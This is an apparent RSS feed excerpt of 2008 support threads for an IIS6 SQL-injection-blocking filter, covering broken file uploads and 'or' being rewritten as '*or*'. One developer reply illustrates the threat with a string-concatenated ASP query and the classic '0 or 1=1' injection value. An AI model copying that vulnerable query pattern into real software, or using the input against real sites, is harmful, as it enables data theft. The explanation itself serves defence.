&lt;/div&gt;</description><author></author><pubDate>Wed, 05 Nov 2008 16:45:55 GMT</pubDate><guid isPermaLink="false">Released: First Release (Dec 01, 2007) 20081105044555P</guid></item><item><title>New Post: Installation</title><link>http://www.codeplex.com/IIS6SQLInjection/Thread/View.aspx?ThreadId=18772</link><description>&lt;div style="line-height: normal;"&gt;OK thanks. Look forward to the release.&lt;br&gt;
&lt;br&gt;
Jason&lt;br&gt;
&lt;/div&gt;</description><author>jgill09</author><pubDate>Thu, 16 Oct 2008 11:07:01 GMT</pubDate><guid isPermaLink="false">New Post: Installation 20081016110701A</guid></item><item><title>New Post: Installation</title><link>http://www.codeplex.com/IIS6SQLInjection/Thread/View.aspx?ThreadId=18772</link><description>&lt;div style="line-height: normal;"&gt;Hi Jason,&lt;br&gt;
&lt;br&gt;
I am aware of this problem. The version I am working on now will enable you to keep a list of excluded files which won't be filtered. I am about to finish it and when I have it tested I will release. The timeframe is about a month for the new release.&lt;br&gt;
&lt;br&gt;
Thanks,&lt;br&gt;
&lt;br&gt;
Rodney
&lt;/div&gt;</description><author>rviana</author><pubDate>Thu, 16 Oct 2008 00:10:33 GMT</pubDate><guid isPermaLink="false">New Post: Installation 20081016121033A</guid></item><item><title>New Post: Installation</title><link>http://www.codeplex.com/IIS6SQLInjection/Thread/View.aspx?ThreadId=18772</link><description>&lt;div style="line-height: normal;"&gt;Hi Rodney,&lt;br&gt;
I recently installed the filter and as a result I am no longer able to upload files (.pdf, .doc etc) or images to the server via my forms when their enctype is set to multipart/data. Also if the forms enctype is set to multipart/data and you do not upload any files the receiving page cannot retrieve the values entered in simple text boxes and instead the values are set to null or blank. The website is built using classic asp. Are you aware of this problem? Is there a workaround for this?&lt;br&gt;
&lt;br&gt;
Thanks in advance,&lt;br&gt;
Jason&lt;br&gt;
&lt;/div&gt;</description><author>jgill09</author><pubDate>Wed, 15 Oct 2008 16:20:18 GMT</pubDate><guid isPermaLink="false">New Post: Installation 20081015042018P</guid></item><item><title>New Post: *'s being appended to the word 'or'</title><link>http://www.codeplex.com/IIS6SQLInjection/Thread/View.aspx?ThreadId=37280</link><description>&lt;div style="line-height: normal;"&gt;Hi V,&lt;br&gt;
&lt;br&gt;
This is by design. The idea is to protect against privacy attacks like:&lt;br&gt;
sql = &amp;quot;select * from table1 where id=&amp;quot; &amp;amp; request(&amp;quot;id&amp;quot;)&lt;br&gt;
&lt;br&gt;
and id = &amp;quot;0 or 1=1&amp;quot;&lt;br&gt;
&lt;br&gt;
then&lt;br&gt;
select * from table1 where id=0 or 1=1 would result in returning all rows.&lt;br&gt;
&lt;br&gt;
Thanks,&lt;br&gt;
&lt;br&gt;
Rodney
&lt;/div&gt;</description><author>rviana</author><pubDate>Wed, 08 Oct 2008 14:44:57 GMT</pubDate><guid isPermaLink="false">New Post: *'s being appended to the word 'or' 20081008024457P</guid></item><item><title>New Post: *'s being appended to the word 'or'</title><link>http://www.codeplex.com/IIS6SQLInjection/Thread/View.aspx?ThreadId=37280</link><description>&lt;div style="line-height: normal;"&gt;Hi there,&lt;br&gt;
&lt;br&gt;
Installed the ISAPI filter yesterday after a minor SQL injection hack.&lt;br&gt;
Installation went smoothly and everything works as it should except that all instances of the word 'or' are replaced with '*or*'.&lt;br&gt;
&lt;br&gt;
Firstly is this a valid observation from a successful install ?&lt;br&gt;
&lt;br&gt;
and secondly is there anyway to get around this without stripping it out manually for every insert ?&lt;br&gt;
&lt;br&gt;
Thanks,&lt;br&gt;
V&lt;br&gt;
&lt;/div&gt;</description><author>vsong</author><pubDate>Wed, 08 Oct 2008 09:53:16 GMT</pubDate><guid isPermaLink="false">New Post: *'s being appended to the word 'or' 20081008095316A</guid></item><item><title>New Post: Does the filter break multipart/formdata forms?</title><link>http://www.codeplex.com/IIS6SQLInjection/Thread/View.aspx?ThreadId=29791</link><description>&lt;div style="line-height: normal;"&gt;Hi Rodney,&lt;br&gt;
&lt;br&gt;
That's great news! Thank you very much.&lt;br&gt;
&lt;br&gt;
Martijn van Mechelen
&lt;/div&gt;</description><author>martijnvm</author><pubDate>Mon, 29 Sep 2008 08:59:05 GMT</pubDate><guid isPermaLink="false">New Post: Does the filter break multipart/formdata forms? 20080929085905A</guid></item><item><title>New Post: Does the filter break multipart/formdata forms?</title><link>http://www.codeplex.com/IIS6SQLInjection/Thread/View.aspx?ThreadId=29791</link><description>&lt;div style="line-height: normal;"&gt;&lt;p&gt;Hi Martijn,&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;Yes, I did. Thanks. I am working on the new version which will enable your upload to run.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;Thanks,&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;Rodney&lt;/p&gt;
&lt;/div&gt;</description><author>rviana</author><pubDate>Wed, 24 Sep 2008 21:07:49 GMT</pubDate><guid isPermaLink="false">New Post: Does the filter break multipart/formdata forms? 20080924090749P</guid></item><item><title>New Post: Does the filter break multipart/formdata forms?</title><link>http://www.codeplex.com/IIS6SQLInjection/Thread/View.aspx?ThreadId=29791</link><description>&lt;div style="line-height: normal;"&gt;Hi Rodney,&lt;br&gt;
&lt;br&gt;
Did you receive the sample app?&lt;br&gt;
&lt;br&gt;
&lt;span style="font-size:13px;font-family:Arial"&gt;&lt;span style="font-size:10pt;font-family:'Arial','sans-serif'"&gt;Martijn van Mechelen&lt;/span&gt;&lt;/span&gt;&lt;br&gt;
&lt;/div&gt;</description><author>martijnvm</author><pubDate>Thu, 18 Sep 2008 12:00:51 GMT</pubDate><guid isPermaLink="false">New Post: Does the filter break multipart/formdata forms? 20080918120051P</guid></item></channel></rss>